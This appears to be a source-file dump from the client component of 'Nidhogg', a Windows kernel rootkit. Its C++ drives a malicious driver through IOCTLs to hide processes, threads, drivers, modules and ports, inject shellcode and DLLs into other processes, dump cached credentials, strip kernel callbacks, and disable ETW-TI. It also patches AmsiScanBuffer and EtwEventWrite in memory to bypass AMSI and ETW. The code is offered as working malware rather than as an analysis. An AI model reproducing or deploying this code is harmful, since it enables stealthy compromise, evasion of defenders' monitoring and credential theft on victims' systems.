95 | DWORD returned;
96 | callbacks.NumberOfCallbacks = 0;
97 | callbacks.Type = callbackType;
98 |
99 | if (callbackType == ObProcessType || callbackType == ObThreadType) {
100 | if (!DeviceIoControl(this->hNidhogg, IOCTL_LIST_OBCALLBACKS,
101 | &callbacks, sizeof(callbacks),
102 | &callbacks, sizeof(callbacks), &returned, nullptr)) {
103 | *success = NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
104 | return callbacks;
105 | }
106 |
107 | if (callbacks.NumberOfCallbacks > 0) {
108 | callbacks.Callbacks = (ObCallback*)malloc(callbacks.NumberOfCallbacks * sizeof(ObCallback));
109 |
110 | if (!callbacks.Callbacks) {
111 | *success = NIDHOGG_GENERAL_ERROR;
112 | return callbacks;
113 | }
114 | memset(callbacks.Callbacks, 0, callbacks.NumberOfCallbacks * sizeof(ObCallback));
115 |
116 | if (!DeviceIoControl(this->hNidhogg, IOCTL_LIST_OBCALLBACKS,
117 | &callbacks, sizeof(callbacks),
118 | &callbacks, sizeof(callbacks), &returned, nullptr)) {
119 | free(callbacks.Callbacks);
120 | *success = NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
121 | return callbacks;
122 | }
123 | }
124 | }
125 |
126 | *success = NIDHOGG_SUCCESS;
127 | return callbacks;
128 | }
129 |
--------------------------------------------------------------------------------
/NidhoggClient/NidhoggClient.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 17.0
23 | Win32Proj
24 | {67f619f9-91ab-437b-92c7-3de51d4110e0}
25 | NidhoggClient
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | Level3
76 | true
77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
78 | true
79 |
80 |
81 | Console
82 | true
83 |
84 |
85 |
86 |
87 | Level3
88 | true
89 | true
90 | true
91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
92 | true
93 |
94 |
95 | Console
96 | true
97 | true
98 | true
99 |
100 |
101 |
102 |
103 | Level3
104 | true
105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
106 | true
107 |
108 |
109 | Console
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | true
118 | true
119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
120 | true
121 | Use
122 | pch.h
123 | stdcpp20
124 | MultiThreaded
125 |
126 |
127 | Console
128 | true
129 | true
130 | true
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 | Create
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
--------------------------------------------------------------------------------
/NidhoggClient/NidhoggClient.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 | Source Files
29 |
30 |
31 | Source Files
32 |
33 |
34 | Source Files
35 |
36 |
37 | Source Files
38 |
39 |
40 | Source Files
41 |
42 |
43 | Source Files
44 |
45 |
46 |
47 |
48 | Header Files
49 |
50 |
51 | Header Files
52 |
53 |
54 | Header Files
55 |
56 |
57 | Header Files
58 |
59 |
60 |
--------------------------------------------------------------------------------
/NidhoggClient/NidhoggFile.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "Nidhogg.h"
3 |
4 | NidhoggErrorCodes NidhoggInterface::FileProtect(wchar_t* filePath) {
5 | DWORD returned;
6 | ProtectedFile protectedFile = { filePath, true };
7 |
8 | if (wcslen(filePath) > MAX_PATH)
9 | return NIDHOGG_INVALID_INPUT;
10 |
11 | if (!DeviceIoControl(this->hNidhogg, IOCTL_PROTECT_UNPROTECT_FILE,
12 | &protectedFile, sizeof(protectedFile),
13 | nullptr, 0, &returned, nullptr))
14 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
15 |
16 | return NIDHOGG_SUCCESS;
17 | }
18 |
19 | NidhoggErrorCodes NidhoggInterface::FileUnprotect(wchar_t* filePath) {
20 | DWORD returned;
21 | ProtectedFile protectedFile = { filePath, false };
22 |
23 | if (!DeviceIoControl(this->hNidhogg, IOCTL_PROTECT_UNPROTECT_FILE,
24 | &protectedFile, sizeof(protectedFile),
25 | nullptr, 0, &returned, nullptr))
26 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
27 |
28 | return NIDHOGG_SUCCESS;
29 | }
30 |
31 | NidhoggErrorCodes NidhoggInterface::FileClearAllProtection() {
32 | DWORD returned;
33 |
34 | if (!DeviceIoControl(this->hNidhogg, IOCTL_CLEAR_FILE_PROTECTION,
35 | nullptr, 0, nullptr, 0, &returned, nullptr))
36 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
37 |
38 | return NIDHOGG_SUCCESS;
39 | }
40 |
41 | std::vector NidhoggInterface::QueryFiles() {
42 | DWORD returned;
43 | FileItem result{};
44 | std::vector files;
45 | int amountOfFiles = 0;
46 | result.FileIndex = 0;
47 |
48 | if (!DeviceIoControl(hNidhogg, IOCTL_QUERY_FILES,
49 | nullptr, 0,
50 | &result, sizeof(result), &returned, nullptr)) {
51 |
52 | files.push_back(std::to_wstring(NIDHOGG_ERROR_DEVICECONTROL_DRIVER));
53 | return files;
54 | }
55 |
56 | amountOfFiles = result.FileIndex;
57 |
58 | if (amountOfFiles == 0)
59 | return files;
60 |
61 | files.push_back(std::wstring(result.FilePath));
62 | result.FilePath[0] = L'\0';
63 |
64 | for (int i = 1; i < amountOfFiles; i++) {
65 | result.FileIndex = i;
66 |
67 | if (!DeviceIoControl(hNidhogg, IOCTL_QUERY_FILES,
68 | nullptr, 0,
69 | &result, sizeof(result), &returned, nullptr)) {
70 |
71 | files.clear();
72 | files.push_back(std::to_wstring(NIDHOGG_ERROR_DEVICECONTROL_DRIVER));
73 | return files;
74 | }
75 |
76 | files.push_back(std::wstring(result.FilePath));
77 | result.FilePath[0] = L'\0';
78 | }
79 |
80 | return files;
81 | }
--------------------------------------------------------------------------------
/NidhoggClient/NidhoggIoctls.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define IOCTL_PROTECT_UNPROTECT_PROCESS CTL_CODE(0x8000, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
4 | #define IOCTL_CLEAR_PROCESS_PROTECTION CTL_CODE(0x8000, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
5 | #define IOCTL_HIDE_UNHIDE_PROCESS CTL_CODE(0x8000, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
6 | #define IOCTL_ELEVATE_PROCESS CTL_CODE(0x8000, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)
7 | #define IOCTL_SET_PROCESS_SIGNATURE_LEVEL CTL_CODE(0x8000, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS)
8 | #define IOCTL_QUERY_PROTECTED_PROCESSES CTL_CODE(0x8000, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS)
9 |
10 | #define IOCTL_PROTECT_UNPROTECT_THREAD CTL_CODE(0x8000, 0x806, METHOD_BUFFERED, FILE_ANY_ACCESS)
11 | #define IOCTL_CLEAR_THREAD_PROTECTION CTL_CODE(0x8000, 0x807, METHOD_BUFFERED, FILE_ANY_ACCESS)
12 | #define IOCTL_HIDE_UNHIDE_THREAD CTL_CODE(0x8000, 0x808, METHOD_BUFFERED, FILE_ANY_ACCESS)
13 | #define IOCTL_QUERY_PROTECTED_THREADS CTL_CODE(0x8000, 0x809, METHOD_BUFFERED, FILE_ANY_ACCESS)
14 |
15 | #define IOCTL_PROTECT_UNPROTECT_FILE CTL_CODE(0x8000, 0x80A, METHOD_BUFFERED, FILE_ANY_ACCESS)
16 | #define IOCTL_CLEAR_FILE_PROTECTION CTL_CODE(0x8000, 0x80B, METHOD_BUFFERED, FILE_ANY_ACCESS)
17 | #define IOCTL_QUERY_FILES CTL_CODE(0x8000, 0x80C, METHOD_BUFFERED, FILE_ANY_ACCESS)
18 |
19 | #define IOCTL_PROTECT_REGITEM CTL_CODE(0x8000, 0x80D, METHOD_BUFFERED, FILE_ANY_ACCESS)
20 | #define IOCTL_UNPROTECT_REGITEM CTL_CODE(0x8000, 0x80E, METHOD_BUFFERED, FILE_ANY_ACCESS)
21 | #define IOCTL_CLEAR_REGITEMS CTL_CODE(0x8000, 0x80F, METHOD_BUFFERED, FILE_ANY_ACCESS)
22 | #define IOCTL_QUERY_REGITEMS CTL_CODE(0x8000, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS)
23 |
24 | #define IOCTL_PATCH_MODULE CTL_CODE(0x8000, 0x811, METHOD_BUFFERED, FILE_ANY_ACCESS)
25 | #define IOCTL_INJECT_SHELLCODE CTL_CODE(0x8000, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS)
26 | #define IOCTL_INJECT_DLL CTL_CODE(0x8000, 0x813, METHOD_BUFFERED, FILE_ANY_ACCESS)
27 | #define IOCTL_HIDE_MODULE CTL_CODE(0x8000, 0x814, METHOD_BUFFERED, FILE_ANY_ACCESS)
28 | #define IOCTL_HIDE_UNHIDE_DRIVER CTL_CODE(0x8000, 0x815, METHOD_BUFFERED, FILE_ANY_ACCESS)
29 | #define IOCTL_DUMP_CREDENTIALS CTL_CODE(0x8000, 0x816, METHOD_BUFFERED, FILE_ANY_ACCESS)
30 |
31 | #define IOCTL_LIST_OBCALLBACKS CTL_CODE(0x8000, 0x817, METHOD_BUFFERED, FILE_ANY_ACCESS)
32 | #define IOCTL_LIST_PSROUTINES CTL_CODE(0x8000, 0x818, METHOD_BUFFERED, FILE_ANY_ACCESS)
33 | #define IOCTL_LIST_REGCALLBACKS CTL_CODE(0x8000, 0x819, METHOD_BUFFERED, FILE_ANY_ACCESS)
34 | #define IOCTL_REMOVE_RESTORE_CALLBACK CTL_CODE(0x8000, 0x81A, METHOD_BUFFERED, FILE_ANY_ACCESS)
35 | #define IOCTL_ENABLE_DISABLE_ETWTI CTL_CODE(0x8000, 0x81B, METHOD_BUFFERED, FILE_ANY_ACCESS)
36 |
37 | #define IOCTL_HIDE_UNHIDE_PORT CTL_CODE(0x8000, 0x81C, METHOD_BUFFERED, FILE_ANY_ACCESS)
38 | #define IOCTL_CLEAR_HIDDEN_PORTS CTL_CODE(0x8000, 0x81D, METHOD_BUFFERED, FILE_ANY_ACCESS)
39 | #define IOCTL_QUERY_HIDDEN_PORTS CTL_CODE(0x8000, 0x81E, METHOD_BUFFERED, FILE_ANY_ACCESS)
40 |
41 | #define IOCTL_EXEC_SCRIPT CTL_CODE(0x8000, 0x81F, METHOD_BUFFERED, FILE_ANY_ACCESS)
--------------------------------------------------------------------------------
/NidhoggClient/NidhoggMemory.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "Nidhogg.h"
3 |
4 | std::vector NidhoggInterface::DumpCredentials(DesKeyInformation* desKey, NidhoggErrorCodes* status) {
5 | *status = NIDHOGG_SUCCESS;
6 | OutputCredentials currentOutputCreds{};
7 | Credentials currentCreds{};
8 | std::vector credentials;
9 | DWORD returned = 0;
10 | DWORD credSize = 0;
11 | DWORD index = 0;
12 |
13 | // Generating cached credentials.
14 | if (!DeviceIoControl(this->hNidhogg, IOCTL_DUMP_CREDENTIALS,
15 | nullptr, 0, &credSize, sizeof(credSize), &returned, nullptr)) {
16 | *status = NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
17 | return std::vector();
18 | }
19 |
20 | if (credSize == 0) {
21 | *status = NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
22 | return std::vector();
23 | }
24 |
25 | // Get 3DES key.
26 | desKey->Size = 0;
27 | desKey->Data = NULL;
28 |
29 | if (!DeviceIoControl(this->hNidhogg, IOCTL_DUMP_CREDENTIALS,
30 | nullptr, 0, desKey, sizeof(DesKeyInformation), &returned, nullptr)) {
31 | *status = NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
32 | return std::vector();
33 | }
34 |
35 | if (desKey->Size == 0) {
36 | *status = NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
37 | return std::vector();
38 | }
39 |
40 | desKey->Data = (PVOID)malloc(desKey->Size);
41 |
42 | if (!desKey->Data) {
43 | *status = NIDHOGG_GENERAL_ERROR;
44 | return std::vector();
45 | }
46 |
47 | if (!DeviceIoControl(this->hNidhogg, IOCTL_DUMP_CREDENTIALS,
48 | desKey, sizeof(DesKeyInformation), desKey, sizeof(DesKeyInformation), &returned, nullptr)) {
49 | free(desKey->Data);
50 | *status = NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
51 | return std::vector();
52 | }
53 |
54 | // Get credentials.
55 | for (index = 0; index < credSize; index++) {
56 | currentOutputCreds.Index = index;
57 | currentOutputCreds.Creds.Username.Buffer = NULL;
58 | currentOutputCreds.Creds.Username.Length = 0;
59 | currentOutputCreds.Creds.Domain.Buffer = NULL;
60 | currentOutputCreds.Creds.Domain.Length = 0;
61 | currentOutputCreds.Creds.EncryptedHash.Buffer = NULL;
62 | currentOutputCreds.Creds.EncryptedHash.Length = 0;
63 |
64 | if (!DeviceIoControl(this->hNidhogg, IOCTL_DUMP_CREDENTIALS,
65 | ¤tOutputCreds, sizeof(currentOutputCreds), ¤tOutputCreds, sizeof(currentOutputCreds),
66 | &returned, nullptr)) {
67 | *status = NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
68 | break;
69 | }
70 |
71 | currentOutputCreds.Creds.Username.Buffer = (WCHAR*)malloc(currentOutputCreds.Creds.Username.Length);
72 |
73 | if (!currentOutputCreds.Creds.Username.Buffer) {
74 | *status = NIDHOGG_GENERAL_ERROR;
75 | break;
76 | }
77 |
78 | currentOutputCreds.Creds.Domain.Buffer = (WCHAR*)malloc(currentOutputCreds.Creds.Domain.Length);
79 |
80 | if (!currentOutputCreds.Creds.Domain.Buffer) {
81 | *status = NIDHOGG_GENERAL_ERROR;
82 | free(currentOutputCreds.Creds.Username.Buffer);
83 | break;
84 | }
85 |
86 | currentOutputCreds.Creds.EncryptedHash.Buffer = (WCHAR*)malloc(currentOutputCreds.Creds.EncryptedHash.Length);
87 |
88 | if (!currentOutputCreds.Creds.EncryptedHash.Buffer) {
89 | *status = NIDHOGG_GENERAL_ERROR;
90 | free(currentOutputCreds.Creds.Username.Buffer);
91 | free(currentOutputCreds.Creds.Domain.Buffer);
92 | break;
93 | }
94 |
95 | if (!DeviceIoControl(this->hNidhogg, IOCTL_DUMP_CREDENTIALS,
96 | ¤tOutputCreds, sizeof(currentOutputCreds), ¤tOutputCreds, sizeof(currentOutputCreds),
97 | &returned, nullptr)) {
98 |
99 | *status = NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
100 | free(currentOutputCreds.Creds.Username.Buffer);
101 | free(currentOutputCreds.Creds.Domain.Buffer);
102 | free(currentOutputCreds.Creds.EncryptedHash.Buffer);
103 | break;
104 | }
105 |
106 | currentCreds.Username = currentOutputCreds.Creds.Username;
107 | currentCreds.Domain = currentOutputCreds.Creds.Domain;
108 | currentCreds.EncryptedHash = currentOutputCreds.Creds.EncryptedHash;
109 | credentials.push_back(currentCreds);
110 | }
111 |
112 | if (*status != NIDHOGG_SUCCESS) {
113 | for (DWORD i = 0; i < credentials.size(); i++) {
114 | free(credentials[i].Username.Buffer);
115 | free(credentials[i].Domain.Buffer);
116 | free(credentials[i].EncryptedHash.Buffer);
117 | }
118 | free(desKey->Data);
119 | }
120 |
121 | return credentials;
122 | }
123 |
124 | std::wstring NidhoggInterface::ParsePath(wchar_t* path) {
125 | std::wstring result = path;
126 |
127 | if (result.find(LR"(C:\Windows)") != std::wstring::npos) {
128 | result.replace(0, 10, LR"(\SystemRoot)");
129 | }
130 | else if (result.find(LR"(C:\)") != std::wstring::npos) {
131 | result.replace(0, 3, LR"(\??\C:\)");
132 | }
133 | return result;
134 | }
135 |
136 | NidhoggErrorCodes NidhoggInterface::HideDriver(wchar_t* driverPath) {
137 | DWORD returned = 0;
138 | HiddenDriverInformation driverInfo{};
139 |
140 | if (!driverPath)
141 | return NIDHOGG_GENERAL_ERROR;
142 |
143 | if (wcslen(driverPath) > MAX_PATH)
144 | return NIDHOGG_GENERAL_ERROR;
145 |
146 | std::wstring parsedDriverName = ParsePath(driverPath);
147 | driverInfo.DriverName = (WCHAR*)parsedDriverName.data();
148 | driverInfo.Hide = true;
149 |
150 | if (!DeviceIoControl(this->hNidhogg, IOCTL_HIDE_UNHIDE_DRIVER,
151 | &driverInfo, sizeof(driverInfo),
152 | nullptr, 0, &returned, nullptr))
153 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
154 |
155 | return NIDHOGG_SUCCESS;
156 | }
157 |
158 | NidhoggErrorCodes NidhoggInterface::UnhideDriver(wchar_t* driverPath) {
159 | DWORD returned = 0;
160 | HiddenDriverInformation driverInfo{};
161 |
162 | if (!driverPath)
163 | return NIDHOGG_GENERAL_ERROR;
164 |
165 | if (wcslen(driverPath) > MAX_PATH)
166 | return NIDHOGG_GENERAL_ERROR;
167 |
168 | std::wstring parsedDriverName = this->ParsePath(driverPath);
169 | driverInfo.DriverName = (WCHAR*)parsedDriverName.data();
170 | driverInfo.Hide = false;
171 |
172 | if (!DeviceIoControl(this->hNidhogg, IOCTL_HIDE_UNHIDE_DRIVER,
173 | &driverInfo, sizeof(driverInfo),
174 | nullptr, 0, &returned, nullptr))
175 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
176 |
177 | return NIDHOGG_SUCCESS;
178 | }
179 |
180 | NidhoggErrorCodes NidhoggInterface::HideModule(DWORD pid, wchar_t* modulePath) {
181 | DWORD returned = 0;
182 | HiddenModuleInformation moduleInfo{};
183 |
184 | if (pid <= 0 || pid == SYSTEM_PID || !modulePath)
185 | return NIDHOGG_GENERAL_ERROR;
186 |
187 | if (wcslen(modulePath) > MAX_PATH)
188 | return NIDHOGG_GENERAL_ERROR;
189 |
190 | moduleInfo.Pid = pid;
191 | moduleInfo.ModuleName = modulePath;
192 |
193 | if (!DeviceIoControl(this->hNidhogg, IOCTL_HIDE_MODULE,
194 | &moduleInfo, sizeof(moduleInfo),
195 | nullptr, 0, &returned, nullptr))
196 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
197 |
198 | return NIDHOGG_SUCCESS;
199 | }
200 |
201 | NidhoggErrorCodes NidhoggInterface::InjectDll(DWORD pid, std::string dllPath, InjectionType injectionType) {
202 | DWORD returned;
203 | DllInformation dllInformation{};
204 |
205 | if (pid == 0 || pid == SYSTEM_PID || dllPath.empty())
206 | return NIDHOGG_GENERAL_ERROR;
207 |
208 | if (dllPath.size() > MAX_PATH)
209 | return NIDHOGG_GENERAL_ERROR;
210 |
211 | dllInformation.Type = injectionType;
212 | dllInformation.Pid = pid;
213 | errno_t err = strcpy_s(dllInformation.DllPath, dllPath.c_str());
214 |
215 | if (err != 0)
216 | return NIDHOGG_GENERAL_ERROR;
217 |
218 | if (!DeviceIoControl(this->hNidhogg, IOCTL_INJECT_DLL,
219 | &dllInformation, sizeof(dllInformation),
220 | nullptr, 0, &returned, nullptr)) {
221 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
222 | }
223 |
224 | return NIDHOGG_SUCCESS;
225 | }
226 |
227 | NidhoggErrorCodes NidhoggInterface::InjectShellcode(DWORD pid, PVOID shellcode, ULONG shellcodeSize, PVOID parameter1,
228 | PVOID parameter2, PVOID parameter3, InjectionType injectionType, ULONG param1Size, ULONG param2Size, ULONG param3Size) {
229 | DWORD returned;
230 | ShellcodeInformation shellcodeInformation{};
231 |
232 | if (pid == 0 || pid == SYSTEM_PID || !shellcode)
233 | return NIDHOGG_GENERAL_ERROR;
234 |
235 | if (parameter1 && !param1Size || parameter2 && !param2Size || parameter3 && !param3Size)
236 | return NIDHOGG_INVALID_INPUT;
237 |
238 | if (param1Size && !parameter1 || param2Size && !parameter2 || param3Size && !parameter3)
239 | return NIDHOGG_INVALID_INPUT;
240 |
241 | shellcodeInformation.Type = injectionType;
242 | shellcodeInformation.Pid = pid;
243 | shellcodeInformation.ShellcodeSize = shellcodeSize;
244 | shellcodeInformation.Shellcode = shellcode;
245 | shellcodeInformation.Parameter1 = parameter1;
246 | shellcodeInformation.Parameter1Size = param1Size;
247 | shellcodeInformation.Parameter2 = parameter2;
248 | shellcodeInformation.Parameter2Size = param2Size;
249 | shellcodeInformation.Parameter3 = parameter3;
250 | shellcodeInformation.Parameter3Size = param3Size;
251 |
252 | if (!DeviceIoControl(this->hNidhogg, IOCTL_INJECT_SHELLCODE,
253 | &shellcodeInformation, sizeof(shellcodeInformation),
254 | nullptr, 0, &returned, nullptr))
255 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
256 |
257 | return NIDHOGG_SUCCESS;
258 | }
259 |
260 | NidhoggErrorCodes NidhoggInterface::PatchModule(DWORD pid, wchar_t* moduleName, char* functionName, std::vector patch) {
261 | DWORD returned;
262 | PatchedModule patchedModule{};
263 |
264 | patchedModule.Pid = pid;
265 | patchedModule.PatchLength = (ULONG)patch.size();
266 | patchedModule.ModuleName = moduleName;
267 | patchedModule.FunctionName = functionName;
268 | patchedModule.Patch = patch.data();
269 |
270 | if (pid == 0 || pid == SYSTEM_PID || patchedModule.ModuleName == nullptr ||
271 | patchedModule.FunctionName == nullptr || patchedModule.Patch == nullptr)
272 | return NIDHOGG_GENERAL_ERROR;
273 |
274 | if (wcslen(moduleName) > MAX_PATH)
275 | return NIDHOGG_GENERAL_ERROR;
276 |
277 | if (!DeviceIoControl(this->hNidhogg, IOCTL_PATCH_MODULE,
278 | &patchedModule, sizeof(patchedModule),
279 | nullptr, 0, &returned, nullptr))
280 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
281 |
282 | return NIDHOGG_SUCCESS;
283 | }
284 |
285 | NidhoggErrorCodes NidhoggInterface::AmsiBypass(DWORD pid) {
286 | std::vector patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
287 | return this->PatchModule(pid, (wchar_t*)LR"(C:\Windows\System32\Amsi.dll)", (char*)"AmsiScanBuffer", patch);
288 | }
289 |
290 | NidhoggErrorCodes NidhoggInterface::ETWBypass(DWORD pid) {
291 | std::vector patch = { 0xC3 };
292 | return this->PatchModule(pid, (wchar_t*)LR"(C:\Windows\System32\Ntdll.dll)", (char*)"EtwEventWrite", patch);
293 | }
--------------------------------------------------------------------------------
/NidhoggClient/NidhoggNetwork.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "Nidhogg.h"
3 |
4 | NidhoggErrorCodes NidhoggInterface::HidePort(USHORT portNumber, PortType portType, bool remote) {
5 | DWORD returned;
6 | InputHiddenPort hiddenPort{};
7 | hiddenPort.Hide = true;
8 | hiddenPort.Port = portNumber;
9 | hiddenPort.Remote = remote;
10 | hiddenPort.Type = portType;
11 |
12 |
13 | if (!DeviceIoControl(this->hNidhogg, IOCTL_HIDE_UNHIDE_PORT,
14 | &hiddenPort, sizeof(hiddenPort),
15 | nullptr, 0, &returned, nullptr))
16 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
17 |
18 | return NIDHOGG_SUCCESS;
19 | }
20 | NidhoggErrorCodes NidhoggInterface::UnhidePort(USHORT portNumber, PortType portType, bool remote) {
21 | DWORD returned;
22 | InputHiddenPort hiddenPort{};
23 | hiddenPort.Hide = false;
24 | hiddenPort.Port = portNumber;
25 | hiddenPort.Remote = remote;
26 | hiddenPort.Type = portType;
27 |
28 |
29 | if (!DeviceIoControl(this->hNidhogg, IOCTL_HIDE_UNHIDE_PORT,
30 | &hiddenPort, sizeof(hiddenPort),
31 | nullptr, 0, &returned, nullptr))
32 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
33 |
34 | return NIDHOGG_SUCCESS;
35 | }
36 |
37 | NidhoggErrorCodes NidhoggInterface::ClearHiddenPorts() {
38 | DWORD returned;
39 |
40 | if (!DeviceIoControl(this->hNidhogg, IOCTL_CLEAR_HIDDEN_PORTS,
41 | nullptr, 0,
42 | nullptr, 0, &returned, nullptr))
43 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
44 |
45 | return NIDHOGG_SUCCESS;
46 | }
47 |
48 | std::vector NidhoggInterface::QueryHiddenPorts() {
49 | DWORD returned;
50 | OutputHiddenPorts rawHiddenPorts{};
51 | std::vector hiddenPorts;
52 | this->lastError = NIDHOGG_SUCCESS;
53 |
54 | if (!DeviceIoControl(this->hNidhogg, IOCTL_QUERY_HIDDEN_PORTS,
55 | nullptr, 0, &rawHiddenPorts, sizeof(rawHiddenPorts), &returned, nullptr)) {
56 |
57 | this->lastError = NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
58 | return hiddenPorts;
59 | }
60 |
61 | for (USHORT i = 0; i < rawHiddenPorts.PortsCount; i++)
62 | hiddenPorts.push_back(rawHiddenPorts.Ports[i]);
63 |
64 | return hiddenPorts;
65 | }
66 |
--------------------------------------------------------------------------------
/NidhoggClient/NidhoggProcess.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "Nidhogg.h"
3 |
4 | NidhoggErrorCodes NidhoggInterface::ProcessProtect(DWORD pid) {
5 | DWORD returned;
6 | ProtectedProcess protectedProcess = { pid, true };
7 |
8 | if (!DeviceIoControl(this->hNidhogg, IOCTL_PROTECT_UNPROTECT_PROCESS, &protectedProcess, sizeof(protectedProcess),
9 | nullptr, 0, &returned, nullptr))
10 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
11 | return NIDHOGG_SUCCESS;
12 | }
13 |
14 | NidhoggErrorCodes NidhoggInterface::ProcessUnprotect(DWORD pid) {
15 | DWORD returned;
16 | ProtectedProcess protectedProcess = { pid, false };
17 |
18 | if (!DeviceIoControl(this->hNidhogg, IOCTL_PROTECT_UNPROTECT_PROCESS, &protectedProcess, sizeof(protectedProcess),
19 | nullptr, 0, &returned, nullptr))
20 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
21 | return NIDHOGG_SUCCESS;
22 | }
23 |
24 | NidhoggErrorCodes NidhoggInterface::ProcessClearAllProtection() {
25 | DWORD returned;
26 |
27 | if (!DeviceIoControl(this->hNidhogg, IOCTL_CLEAR_PROCESS_PROTECTION, nullptr, 0, nullptr, 0, &returned, nullptr))
28 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
29 | return NIDHOGG_SUCCESS;
30 | }
31 |
32 | NidhoggErrorCodes NidhoggInterface::ThreadProtect(DWORD tid) {
33 | DWORD returned;
34 | ProtectedThread protectedThread = { tid, true };
35 |
36 | if (!DeviceIoControl(this->hNidhogg, IOCTL_PROTECT_UNPROTECT_THREAD, &protectedThread, sizeof(protectedThread),
37 | nullptr, 0, &returned, nullptr))
38 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
39 | return NIDHOGG_SUCCESS;
40 | }
41 |
42 | NidhoggErrorCodes NidhoggInterface::ThreadUnprotect(DWORD tid) {
43 | DWORD returned;
44 | ProtectedThread protectedThread = { tid, false };
45 |
46 | if (!DeviceIoControl(this->hNidhogg, IOCTL_PROTECT_UNPROTECT_THREAD, &protectedThread, sizeof(protectedThread),
47 | nullptr, 0, &returned, nullptr))
48 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
49 | return NIDHOGG_SUCCESS;
50 | }
51 |
52 | NidhoggErrorCodes NidhoggInterface::ThreadClearAllProtection() {
53 | DWORD returned;
54 |
55 | if (!DeviceIoControl(this->hNidhogg, IOCTL_CLEAR_THREAD_PROTECTION, nullptr, 0, nullptr, 0, &returned, nullptr))
56 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
57 | return NIDHOGG_SUCCESS;
58 | }
59 |
60 | NidhoggErrorCodes NidhoggInterface::ProcessHide(DWORD pid) {
61 | DWORD returned;
62 | HiddenProcess hiddenProcess = { pid, true };
63 |
64 | if (!DeviceIoControl(this->hNidhogg, IOCTL_HIDE_UNHIDE_PROCESS, &hiddenProcess, sizeof(hiddenProcess), nullptr, 0,
65 | &returned, nullptr))
66 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
67 | return NIDHOGG_SUCCESS;
68 | }
69 |
70 | NidhoggErrorCodes NidhoggInterface::ProcessUnhide(DWORD pid) {
71 | DWORD returned;
72 | HiddenProcess hiddenProcess = { pid, false };
73 |
74 | if (!DeviceIoControl(this->hNidhogg, IOCTL_HIDE_UNHIDE_PROCESS, &hiddenProcess, sizeof(hiddenProcess), nullptr, 0,
75 | &returned, nullptr))
76 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
77 | return NIDHOGG_SUCCESS;
